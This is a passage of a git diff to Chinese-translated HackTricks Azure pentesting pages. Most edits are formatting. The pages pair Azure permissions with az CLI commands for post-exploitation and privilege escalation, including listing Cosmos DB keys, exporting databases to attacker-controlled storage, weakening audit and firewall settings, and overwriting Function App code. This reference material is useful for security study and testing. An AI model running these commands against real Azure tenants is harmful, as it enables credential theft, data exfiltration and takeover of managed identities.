"Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read" +### `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read` 拥有此权限,您可以在 Azure Cosmos DB 帐户中创建新的 MongoDB 角色定义。这允许为 MongoDB 用户定义具有特定权限的自定义角色。 - -{% code overflow="wrap" %} ```bash az cosmosdb mongodb role definition create \ --account-name \ @@ -188,11 +146,8 @@ az cosmosdb mongodb role definition create \ "Roles": [] }' ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" -拥有此权限,您可以在 Azure Cosmos DB 帐户中创建新的 MongoDB 用户定义。这允许为 MongoDB 数据库提供具有特定角色和访问级别的用户。 -{% code overflow="wrap" %} +### `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read` +通过此权限,您可以在 Azure Cosmos DB 帐户中创建新的 MongoDB 用户定义。这允许为 MongoDB 数据库配置具有特定角色和访问级别的用户。 ```bash az cosmosdb mongodb user definition create \ --account-name \ @@ -212,6 +167,4 @@ az cosmosdb mongodb user definition create \ ] }' ``` -{% endcode %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md index 29d73dd98..4a6b42638 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md @@ -10,7 +10,7 @@ ../az-services/az-file-shares.md {{#endref}} -### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read +### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read` 具有此权限的主体将能够**列出**文件共享中的文件并**下载**可能包含**敏感信息**的文件。 ```bash @@ -28,9 +28,9 @@ az storage file download \ --dest /path/to/down \ --auth-mode login --enable-file-backup-request-intent ``` -### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write, Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action +### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write`, `Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action` -具有此权限的主体将能够**在文件共享中写入和覆盖文件**,这可能使他造成一些损害甚至提升权限(例如,覆盖存储在文件共享中的某些代码): +拥有此权限的主体将能够**在文件共享中写入和覆盖文件**,这可能使他造成一些损害甚至提升权限(例如,覆盖存储在文件共享中的某些代码): ```bash az storage blob upload \ --account-name \ diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md index 6072f646a..76b034572 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md @@ -1,18 +1,16 @@ -# Az - Logic Apps 后期利用 +# Az - Logic Apps Post Exploitation {{#include ../../../banners/hacktricks-training.md}} ## Logic Apps 数据库后期利用 有关逻辑应用的更多信息,请查看: -{% content-ref url="../az-services/az-logic-apps.md" %} -[az-logic-apps.md](../az-services/az-logic-apps.md) -{% endcontent-ref %} +{{#ref}} +../az-services/az-logic-apps.md +{{#endref}} -### "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action" -拥有这些权限后,您可以修改 Logic App 工作流并管理其身份。具体来说,您可以将系统分配和用户分配的托管身份分配或移除到工作流,这使得 Logic App 能够在没有显式凭据的情况下进行身份验证并访问其他 Azure 资源。 - -{% code overflow="wrap" %} +### `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` +通过这些权限,您可以修改逻辑应用工作流并管理其身份。具体而言,您可以将系统分配和用户分配的托管身份分配或移除到工作流,这使得逻辑应用能够在没有明确凭据的情况下进行身份验证并访问其他 Azure 资源。 ```bash az logic workflow identity remove/assign \ --name \ @@ -20,49 +18,32 @@ az logic workflow identity remove/assign \ --system-assigned true \ --user-assigned "/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/" ``` -{% endcode %} - -### "Microsoft.Web/sites/read", "Microsoft.Web/sites/write" -拥有这些权限,您可以创建或更新托管在应用服务计划上的逻辑应用。这包括修改设置,例如启用或禁用 HTTPS 强制执行。 - -{% code overflow="wrap" %} +### `Microsoft.Web/sites/read`, `Microsoft.Web/sites/write` +拥有这些权限,您可以创建或更新托管在应用服务计划上的逻辑应用。这包括修改设置,例如启用或禁用 HTTPS 强制。 ```bash az logicapp update \ --resource-group \ --name \ --set httpsOnly=false ``` -{% endcode %} - -### "Microsoft.Web/sites/stop/action", "Microsoft.Web/sites/start/action" || "Microsoft.Web/sites/restart/action" -拥有此权限,您可以启动/停止/重启一个 web 应用,包括托管在 App Service Plan 上的 Logic Apps。此操作确保之前停止的应用程序重新上线并恢复其功能。这可能会干扰工作流程,触发意外操作,或通过意外启动、停止或重启 Logic Apps 导致停机。 - -{% code overflow="wrap" %} +### `Microsoft.Web/sites/stop/action`, `Microsoft.Web/sites/start/action` || `Microsoft.Web/sites/restart/action` +通过此权限,您可以启动/停止/重启一个 web 应用,包括托管在 App Service Plan 上的 Logic Apps。此操作确保之前停止的应用程序重新上线并恢复其功能。这可能会干扰工作流程,触发意外操作,或通过意外启动、停止或重启 Logic Apps 导致停机。 ```bash az webapp start/stop/restart \ --name \ --resource-group ``` -{% endcode %} +### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/read` && `Microsoft.Web/sites/config/write` - -### "Microsoft.Web/sites/config/list/action", "Microsoft.Web/sites/read" && "Microsoft.Web/sites/config/write" - -通过此权限,您可以配置或修改 web 应用的设置,包括托管在 App Service Plan 上的 Logic Apps。这允许更改应用设置、连接字符串、身份验证配置等。 - -{% code overflow="wrap" %} +通过此权限,您可以配置或修改 Web 应用的设置,包括托管在应用服务计划上的逻辑应用。这允许更改应用设置、连接字符串、身份验证配置等。 ```bash az logicapp config appsettings set \ --name \ --resource-group \ --settings "=" ``` -{% endcode %} - -### "Microsoft.Logic/integrationAccounts/write" +### `Microsoft.Logic/integrationAccounts/write` 拥有此权限,您可以创建、更新或删除 Azure Logic Apps 集成帐户。这包括管理集成帐户级别的配置,如映射、模式、合作伙伴、协议等。 - -{% code overflow="wrap" %} ```bash az logic integration-account create \ --resource-group \ @@ -71,13 +52,9 @@ az logic integration-account create \ --sku \ --state Enabled ``` -{% endcode %} +### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/batchConfigurations/write` -### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/batchConfigurations/write" - -拥有此权限,您可以在 Azure Logic Apps 集成帐户中创建或修改批处理配置。批处理配置定义了 Logic Apps 如何处理和分组传入消息以进行批处理。 - -{% code overflow="wrap" %} +通过此权限,您可以在 Azure Logic Apps 集成帐户中创建或修改批处理配置。批处理配置定义了 Logic Apps 如何处理和分组传入消息以进行批处理。 ```bash az logic integration-account batch-configuration create \ --resource-group \ @@ -88,12 +65,8 @@ az logic integration-account batch-configuration create \ "batchSize": 1048576, }' ``` -{% endcode %} - -### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/maps/write" +### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/maps/write` 拥有此权限,您可以在 Azure Logic Apps 集成帐户中创建或修改映射。映射用于将数据从一种格式转换为另一种格式,从而实现不同系统和应用程序之间的无缝集成。 - -{% code overflow="wrap" %} ```bash az logic integration-account map create \ --resource-group \ @@ -103,12 +76,8 @@ az logic integration-account map create \ --content-type application/xml \ --map-content map-content.xslt ``` -{% endcode %} - -### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/partners/write" -通过此权限,您可以在 Azure Logic Apps 集成帐户中创建或修改合作伙伴。合作伙伴代表参与企业对企业(B2B)工作流的实体或系统。 - -{% code overflow="wrap" %} +### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/partners/write` +拥有此权限,您可以在 Azure Logic Apps 集成帐户中创建或修改合作伙伴。合作伙伴代表参与企业对企业 (B2B) 工作流的实体或系统。 ```bash az logic integration-account partner create \ --resource-group \ @@ -126,12 +95,8 @@ az logic integration-account partner create \ } }' ``` -{% endcode %} - -### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/sessions/write" +### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/sessions/write` 通过此权限,您可以在 Azure Logic Apps 集成帐户中创建或修改会话。会话用于 B2B 工作流,以在定义的时间段内对消息进行分组并跟踪相关交易。 - -{% code overflow="wrap" %} ```bash az logic integration-account session create \ --resource-group \ @@ -147,10 +112,8 @@ az logic integration-account session create \ } }' ``` -{% endcode %} - ### "*/delete" -通过此权限,您可以删除与 Azure Logic Apps 相关的资源 +凭借此权限,您可以删除与 Azure Logic Apps 相关的资源 diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md index 43cc34e79..3ffb08615 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md @@ -5,54 +5,40 @@ ## MySQL 数据库后期利用 有关 MySQL 数据库的更多信息,请查看: -{% content-ref url="../az-services/az-mysql.md" %} -[az-mysql.md](../az-services/az-mysql.md) -{% endcontent-ref %} +{{#ref}} +../az-services/az-mysql.md +{{#endref}} -### "Microsoft.DBforMySQL/flexibleServers/databases/write" && "Microsoft.DBforMySQL/flexibleServers/databases/read" +### `Microsoft.DBforMySQL/flexibleServers/databases/write` && `Microsoft.DBforMySQL/flexibleServers/databases/read` -拥有此权限后,您可以在 Azure 的 MySQL Flexible Server 实例中创建新数据库。虽然此操作本身不会修改现有资源,但过度或未经授权的数据库创建可能会导致资源消耗或服务器的潜在滥用。 - -{% code overflow="wrap" %} +拥有此权限,您可以在 Azure 的 MySQL Flexible Server 实例中创建新数据库。虽然此操作本身不会修改现有资源,但过度或未经授权的数据库创建可能导致资源消耗或服务器的潜在滥用。 ```bash az mysql flexible-server db create \ --server-name \ --resource-group \ --database-name ``` -{% endcode %} +### `Microsoft.DBforMySQL/flexibleServers/backups/write` -### "Microsoft.DBforMySQL/flexibleServers/backups/write" - -拥有此权限,您可以在 Azure 上为 MySQL Flexible Server 实例启动备份的创建。这使用户能够生成按需备份,这对于在特定时间点保存数据非常有用。 - -{% code overflow="wrap" %} +通过此权限,您可以在 Azure 上为 MySQL Flexible Server 实例启动备份的创建。这使用户能够生成按需备份,这对于在特定时间点保留数据非常有用。 ```bash az mysql flexible-server backup create \ --name \ --resource-group --backup-name ``` -{% endcode %} - -### "Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write" +### `Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write` 通过此权限,您可以配置或更新 Azure 上 MySQL Flexible Server 实例的高级威胁保护 (ATP) 设置。这允许启用或禁用旨在检测和响应异常活动及潜在威胁的安全功能。 - -{% code overflow="wrap" %} ```bash az mysql flexible-server threat-protection-policy update \ --name \ --resource-group \ --state ``` -{% endcode %} - -### "Microsoft.DBforMySQL/flexibleServers/firewallRules/write" +### `Microsoft.DBforMySQL/flexibleServers/firewallRules/write` 通过此权限,您可以为 Azure 上的 MySQL Flexible Server 实例创建或修改防火墙规则。这允许控制哪些 IP 地址或范围可以访问服务器。未经授权或不当使用此权限可能会使服务器暴露于不必要或恶意的访问。 - -{% code overflow="wrap" %} ```bash # Create Rule az mysql flexible-server firewall-rule create \ @@ -70,71 +56,52 @@ az mysql flexible-server firewall-rule update \ --start-ip-address \ --end-ip-address ``` -{% endcode %} +### `Microsoft.DBforMySQL/flexibleServers/resetGtid/action` -### "Microsoft.DBforMySQL/flexibleServers/resetGtid/action" - -拥有此权限,您可以重置 Azure 上 MySQL Flexible Server 实例的 GTID(全局事务标识符)。重置 GTID 将使所有在重置操作之前进行的自动备份、按需备份和地理备份失效。GTID 重置后,如果所选恢复时间在 GTID 重置时间之前,您将无法使用最快恢复点或自定义恢复点执行 PITR(时间点恢复)。成功的地理恢复仅在 5 天后才可能进行。 - -{% code overflow="wrap" %} +通过此权限,您可以重置 Azure 上 MySQL Flexible Server 实例的 GTID(全局事务标识符)。重置 GTID 将使所有在重置操作之前进行的自动备份、按需备份和地理备份失效。重置 GTID 后,如果所选恢复时间在 GTID 重置时间之前,您将无法使用最快恢复点或自定义恢复点执行 PITR(时间点恢复)。成功的地理恢复仅在 5 天后才可能。 ```bash az mysql flexible-server reset-gtid \ --name \ --resource-group \ --gtid-set ``` -{% endcode %} - -### "Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action" +### `Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action` 通过此权限,您可以更新 Azure 上 MySQL Flexible Server 实例的配置设置。这允许自定义服务器参数,例如性能调优、安全配置或操作设置。您可以批量更新以下参数:audit_log_enabled, audit_log_events, binlog_expire_logs_seconds, binlog_row_image, character_set_server, collation_server, connect_timeout, enforce_gtid_consistency, gtid_mode, init_connect, innodb_buffer_pool_size, innodb_io_capacity, innodb_io_capacity_max, innodb_purge_threads, innodb_read_io_threads, innodb_thread_concurrency, innodb_write_io_threads, long_query_time, max_connect_errors 和 max_connections。 - -{% code overflow="wrap" %} ```bash az mysql flexible-server parameter set-batch \ --resource-group \ --server-name \ --args max_connections= ``` -{% endcode %} - -### "Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action" +### `Microsoft.DBforMySQL/flexibleServers/read`, `Microsoft.DBforMySQL/flexibleServers/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` 通过此权限,您可以将用户分配的托管身份分配给 MySQL 灵活服务器。 - -{% code overflow="wrap" %} ```bash az mysql flexible-server identity assign \ --resource-group \ --server-name \ --identity ``` -{% endcode %} +### `Microsoft.DBforMySQL/flexibleServers/stop/action` -### "Microsoft.DBforMySQL/flexibleServers/stop/action" - -拥有此权限,您可以停止 Azure 上的 PostgreSQL Flexible Server 实例。停止服务器可能会导致临时服务中断,影响依赖于数据库的应用程序和用户。 - -{% code overflow="wrap" %} +通过此权限,您可以停止 Azure 上的 PostgreSQL Flexible Server 实例。停止服务器可能会导致临时服务中断,影响依赖于数据库的应用程序和用户。 ```bash az mysql flexible-server stop \ --name \ --resource-group ``` -{% endcode %} -### "Microsoft.DBforMySQL/flexibleServers/start/action" +### `Microsoft.DBforMySQL/flexibleServers/start/action` With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database. -{% code overflow="wrap" %} ```bash az mysql flexible-server start \ --name \ --resource-group ``` -{% endcode %} -### "*/delete" +### `*/delete` With this permissions you can delete resources related to mysql server in Azure such as server, firewalls, managed identities or configurations diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md index 4863e1279..c273c45f9 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md @@ -5,54 +5,40 @@ ## PostgreSQL 数据库后期利用 有关 PostgreSQL 数据库的更多信息,请查看: -{% content-ref url="../az-services/az-postgresql.md" %} -[az-postgresql.md](../az-services/az-postgresql.md) -{% endcontent-ref %} +{{#ref}} +../az-services/az-postgresql.md +{{#endref}} -### "Microsoft.DBforPostgreSQL/flexibleServers/databases/write" && "Microsoft.DBforPostgreSQL/flexibleServers/databases/read" +### `Microsoft.DBforPostgreSQL/flexibleServers/databases/write` && `Microsoft.DBforPostgreSQL/flexibleServers/databases/read` -拥有此权限后,您可以在 Azure 的 Postgres Flexible Server 实例中创建新数据库。虽然此操作本身不会修改现有资源,但过度或未经授权的数据库创建可能会导致资源消耗或服务器的潜在滥用。 - -{% code overflow="wrap" %} +拥有此权限,您可以在 Azure 的 Postgres Flexible Server 实例中创建新数据库。虽然此操作本身不会修改现有资源,但过度或未经授权的数据库创建可能导致资源消耗或服务器的潜在滥用。 ```bash az postgres flexible-server db create \ --server-name \ --resource-group \ --database-name ``` -{% endcode %} +### `Microsoft.DBforPostgreSQL/flexibleServers/backups/write` -### "Microsoft.DBforPostgreSQL/flexibleServers/backups/write" - -拥有此权限,您可以在 Azure 上为 Postgres Flexible Server 实例启动备份的创建。这使用户能够生成按需备份,这对于在特定时间点保留数据非常有用。 - -{% code overflow="wrap" %} +通过此权限,您可以在 Azure 上为 Postgres Flexible Server 实例启动备份的创建。这使用户能够生成按需备份,这对于在特定时间点保留数据非常有用。 ```bash az postgres flexible-server backup create \ --name \ --resource-group --backup-name ``` -{% endcode %} +### `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write` && `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read` -### "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write" && "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read" - -通过此权限,您可以配置或更新 Azure 上 Postgres Flexible Server 实例的高级威胁保护 (ATP) 设置。这允许启用或禁用旨在检测和响应异常活动及潜在威胁的安全功能。 - -{% code overflow="wrap" %} +通过此权限,您可以配置或更新 Azure 上 Postgres Flexible Server 实例的高级威胁防护 (ATP) 设置。这允许启用或禁用旨在检测和响应异常活动及潜在威胁的安全功能。 ```bash az postgres flexible-server threat-protection-policy update \ --name \ --resource-group \ --state ``` -{% endcode %} +### `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write`, `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read` -### "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write", "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read" - -通过此权限,您可以创建或修改 Azure 上 Postgres Flexible Server 实例的防火墙规则。这允许控制哪些 IP 地址或范围可以访问服务器。未经授权或不当使用此权限可能会使服务器暴露于不必要或恶意的访问。 - -{% code overflow="wrap" %} +通过此权限,您可以为 Azure 上的 Postgres Flexible Server 实例创建或修改防火墙规则。这允许控制哪些 IP 地址或范围可以访问服务器。未经授权或不当使用此权限可能会使服务器暴露于不必要或恶意的访问。 ```bash # Create Rule az postgres flexible-server firewall-rule create \ @@ -70,13 +56,9 @@ az postgres flexible-server firewall-rule update \ --start-ip-address \ --end-ip-address ``` -{% endcode %} - -### "Microsoft.DBforPostgreSQL/flexibleServers/configurations/write" && "Microsoft.DBforPostgreSQL/flexibleServers/configurations/read" +### `Microsoft.DBforPostgreSQL/flexibleServers/configurations/write` && `Microsoft.DBforPostgreSQL/flexibleServers/configurations/read` 通过此权限,您可以更新 Azure 上 Postgres Flexible Server 实例的配置设置。这允许自定义服务器参数,例如性能调优、安全配置或操作设置。 - -{% code overflow="wrap" %} ```bash az postgres flexible-server parameter set \ --resource-group \ @@ -84,45 +66,36 @@ az postgres flexible-server parameter set \ --name \ --value ``` -{% endcode %} +### `Microsoft.DBforPostgreSQL/flexibleServers/stop/action` -### "Microsoft.DBforPostgreSQL/flexibleServers/stop/action" - -拥有此权限,您可以停止 Azure 上的 PostgreSQL Flexible Server 实例。停止服务器可能会导致临时服务中断,影响依赖于数据库的应用程序和用户。 - -{% code overflow="wrap" %} +通过此权限,您可以停止 Azure 上的 PostgreSQL Flexible Server 实例。停止服务器可能会导致临时服务中断,影响依赖于数据库的应用程序和用户。 ```bash az postgres flexible-server stop \ --name \ --resource-group ``` -{% endcode %} -### "Microsoft.DBforPostgreSQL/flexibleServers/start/action" +### `Microsoft.DBforPostgreSQL/flexibleServers/start/action` With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database. -{% code overflow="wrap" %} ```bash az postgres flexible-server start \ --name \ --resource-group ``` -{% endcode %} -### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action" +### `Microsoft.DBforPostgreSQL/flexibleServers/read`, `Microsoft.DBforPostgreSQL/flexibleServers/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` With this permission, you can assign a user-assigned managed identity to postgres flexible servers. -{% code overflow="wrap" %} ```bash az postgres flexible-server identity assign \ --resource-group \ --server-name \ --identity ``` -{% endcode %} -### "*/delete" +### `*/delete` With this permissions you can delete resources related to postgres server in Azure such as server, firewalls, managed identities or configurations diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md index c02e47c10..3316856dc 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md @@ -10,7 +10,7 @@ ../az-services/az-sql.md {{#endref}} -### "Microsoft.Sql/servers/databases/read", "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/databases/write" +### `Microsoft.Sql/servers/databases/read`, `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/databases/write` 拥有这些权限后,攻击者可以在被攻陷的环境中创建和更新数据库。这种后期利用活动可能允许攻击者添加恶意数据、修改数据库配置或插入后门以进一步保持持久性,可能会干扰操作或启用其他恶意行为。 ```bash @@ -20,7 +20,7 @@ az sql db create --resource-group --server --name # Update Database az sql db update --resource-group --server --name --max-size ``` -### "Microsoft.Sql/servers/elasticPools/write" && "Microsoft.Sql/servers/elasticPools/read" +### `Microsoft.Sql/servers/elasticPools/write` && `Microsoft.Sql/servers/elasticPools/read` 通过这些权限,攻击者可以在被攻陷的环境中创建和更新 elasticPools。这种后期利用活动可能允许攻击者添加恶意数据、修改数据库配置或插入后门以实现进一步的持久性,可能会干扰操作或启用其他恶意行为。 ```bash @@ -40,7 +40,7 @@ az sql elastic-pool update \ --dtu \ --tags ``` -### "Microsoft.Sql/servers/auditingSettings/read" && "Microsoft.Sql/servers/auditingSettings/write" +### `Microsoft.Sql/servers/auditingSettings/read` && `Microsoft.Sql/servers/auditingSettings/write` 通过此权限,您可以修改或启用 Azure SQL Server 上的审计设置。这可能允许攻击者或授权用户操纵审计配置,从而潜在地掩盖痕迹或将审计日志重定向到他们控制的位置。这可能会妨碍安全监控或使其能够跟踪操作。注意:要使用 Blob 存储为 Azure SQL Server 启用审计,您必须附加一个可以保存审计日志的存储帐户。 ```bash @@ -51,16 +51,16 @@ az sql server audit-policy update \ --storage-account \ --retention-days 7 ``` -### "Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read", "Microsoft.Sql/servers/connectionPolicies/read" && "Microsoft.Sql/servers/connectionPolicies/write" +### `Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read`, `Microsoft.Sql/servers/connectionPolicies/read` && `Microsoft.Sql/servers/connectionPolicies/write` -通过此权限,您可以修改 Azure SQL Server 的连接策略。此功能可以被利用来启用或更改服务器级连接设置。 +通过此权限,您可以修改 Azure SQL Server 的连接策略。此功能可被利用来启用或更改服务器级连接设置。 ```bash az sql server connection-policy update \ --server \ --resource-group \ --connection-type ``` -### "Microsoft.Sql/servers/databases/export/action" +### `Microsoft.Sql/servers/databases/export/action` 拥有此权限,您可以将数据库从 Azure SQL Server 导出到存储帐户。具有此权限的攻击者或授权用户可以通过将其导出到他们控制的位置来提取数据库中的敏感数据,从而带来重大数据泄露风险。了解存储密钥以便能够执行此操作非常重要。 ```bash @@ -74,7 +74,7 @@ az sql db export \ --admin-password ``` -### "Microsoft.Sql/servers/databases/import/action" +### `Microsoft.Sql/servers/databases/import/action` 拥有此权限,您可以将数据库导入到 Azure SQL Server。攻击者或拥有此权限的授权用户可能会上传恶意或被篡改的数据库。这可能导致控制敏感数据,或通过在导入的数据库中嵌入有害脚本或触发器。此外,您可以将其导入到您自己的 Azure 服务器。注意:服务器必须允许 Azure 服务和资源访问该服务器。 ```bash @@ -85,6 +85,6 @@ az sql db import --admin-user \ --resource-group \ --storage-key-type SharedAccessKey \ --storage-key \ ---storage-uri "https://.blob.core.windows.net/bacpac-container/MyDatabase.bacpac" +--storage-uri `https://.blob.core.windows.net/bacpac-container/MyDatabase.bacpac` ``` {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md index 670095c32..d614fcada 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md @@ -5,15 +5,13 @@ ## CosmosDB Privesc 有关 SQL 数据库的更多信息,请查看: -{% content-ref url="../az-services/az-cosmosDB.md" %} -[az-cosmosDB.md](../az-services/az-cosmosDB.md) -{% endcontent-ref %} +{{#ref}} +../az-services/az-cosmosDB.md +{{#endref}} -### ("Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read") & ("Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read") +### (`Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read`) & (`Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read`) 通过这些权限,您可以提升特权,给予用户执行查询和连接到数据库的权限。首先创建一个角色定义,赋予必要的权限和范围。 - -{% code overflow="wrap" %} ```bash az cosmosdb sql role definition create \ --account-name \ @@ -36,11 +34,7 @@ az cosmosdb sql role definition create \ ] }' ``` -{% endcode %} - -之后,将定义的分配给用户。之后,该用户可以使用 DefaultAzureCredential() 连接方法来执行查询。 - -{% code overflow="wrap" %} +之后,定义的分配被给予一个用户。在此之后,该用户可以使用 DefaultAzureCredential() 连接方法来执行查询。 ```bash az cosmosdb sql role assignment create \ --account-name \ @@ -49,19 +43,12 @@ az cosmosdb sql role assignment create \ --principal-id \ --scope "/" ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/listKeys/action" +### `Microsoft.DocumentDB/databaseAccounts/listKeys/action` 通过此权限,您可以检索 Azure Cosmos DB 帐户的主密钥和次密钥。这些密钥提供对数据库帐户及其资源的完全访问权限,使您能够执行数据读取、写入和配置更改等操作。 - -{% code overflow="wrap" %} ```bash az cosmosdb keys list \ --name \ --resource-group ``` -{% endcode %} - - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md index 2c0f3cac1..e0982ad16 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md @@ -14,13 +14,13 @@ 如果有权限读取存储函数数据的存储帐户中的容器,可以找到**不同的容器**(自定义或预定义名称),这些容器可能包含**函数执行的代码**。 -一旦找到函数代码所在的位置,如果对其具有写入权限,可以使函数执行任何代码,并提升到附加到函数的托管身份的权限。 +一旦找到函数代码的位置,如果对其具有写入权限,可以使函数执行任何代码,并提升到附加到函数的托管身份的权限。 - **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` 和 `WEBSITE_CONTENTSHARE`) 函数的代码通常存储在文件共享中。拥有足够的访问权限后,可以修改代码文件并**使函数加载任意代码**,从而提升到附加到函数的托管身份的权限。 -此部署方法通常配置设置**`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**和**`WEBSITE_CONTENTSHARE`**,您可以从 +此部署方法通常配置设置**`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**和**`WEBSITE_CONTENTSHARE`**,您可以从 ```bash az functionapp config appsettings list \ --name \ @@ -29,7 +29,7 @@ az functionapp config appsettings list \ 这些配置将包含 **Storage Account Key**,函数可以使用它来访问代码。 > [!CAUTION] -> 如果有足够的权限连接到文件共享并 **修改正在运行的脚本**,则可以在函数中执行任意代码并提升权限。 +> 只要有足够的权限连接到文件共享并 **修改正在运行的脚本**,就可以在函数中执行任意代码并提升权限。 以下示例使用 macOS 连接到文件共享,但建议还查看以下页面以获取有关文件共享的更多信息: @@ -47,7 +47,7 @@ open "smb://.file.core.windows.net/" ``` - **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`) -在函数应用使用的存储帐户容器的文件夹 `function-releases` 中,通常会发现 **zip 发布**。 +通常可以在函数应用使用的存储帐户容器的文件夹 `function-releases` 中找到 **zip 发布**,该容器通常被称为 